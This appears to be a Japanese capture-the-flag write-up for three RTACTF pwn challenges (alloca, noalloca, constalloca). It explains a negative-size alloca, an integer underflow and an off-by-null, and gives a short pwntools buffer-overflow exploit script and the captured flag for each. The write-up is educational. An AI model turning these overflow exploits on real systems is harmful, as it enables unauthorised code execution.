🙄
[Pwn] alloca | noalloca | constalloca - RTACTF
はじめに
ptr-yudai先生が作問されているということで、参加しました。
遅れて参戦しても、解いた速さで順位が決まるのは新しくていいなと思いました。
alloca
, noalloca
, constalloca
の全pwnを解いたので、そのwriteupです。
またGitHubにもあります。↓↓↓
alloca
目標:480 sec
Can we use a variable for the size of a local array?
ローカル変数の配列のサイズに変数って使えるんですか?
alloca関数
void *alloca(size_t size );
この引数の型はsize_t
なので、-1
を指定してあげてsizeを増やします。
from pwn import *
io = remote("133.242.227.104", 9992)
#io = process("chall")
io.sendlineafter("size:", "-1")
io.sendlineafter("data:", b"A"*40 + p64(0x00000000004011b6))
io.interactive()
#RTACON{alloca_w0rks_d1ff3r3ntly_fr0m_malloc_f0r_n3g4t1v3_s1z3}
noalloca
目標:300 sec
Don't worry, I'm careful of buffer overflow.
大丈夫バッファオーバーフローには気を付けたから。
main関数
scanf("%d%*c", &size);
if (size > 0x80) {
puts("*** buffer overflow ***");
return 1;
}
/* Input data */
printf("data: ");
readn(buf, size-1);
readn関数
void readn(char *ptr, unsigned size) {
...
}
sizeに0を指定すると、size = -1
になって、sizeはunsigned
だからinteger overflowが発生します。
from pwn import *
io = remote("133.242.227.104", 9991)
io.sendlineafter("size:", "0")
io.sendlineafter("data:", b"A"*152 + p64(0x00000000004011d6))
io.interactive()
#RTACON{1nt3g3r_oOoOoOv3rfloOoOoOw}
constalloca
目標:600 sec
Calling alloca with a constant argument is secure. Wait, what is alloca for?
allocaの引数に定数を渡せば安全ですね。いや、何のためのallocaだよ。
ガチャガチャしていて、title:
に長い文字列を入れたら落ちたので、「ほーん」ってなりながら、solverを書きました。
from pwn import *
#io = process("./chall")
io = remote("133.242.227.104", 9993)
io.sendlineafter("title: ", b"\x00"*32+p64(0x40101a)+p64(0x401196))
io.interactive()
#RTACON{0ff-by-nu11_Tr4g1c_:doge:}
さいごに
先に解いていた方々のTimeが出ていたのもあり、あまり緊張はしませんでしたが、リアルタイム参加していたらガチガチに緊張していたと思います。楽しかったです。運営の皆さん、ありがとうございました!
Discussion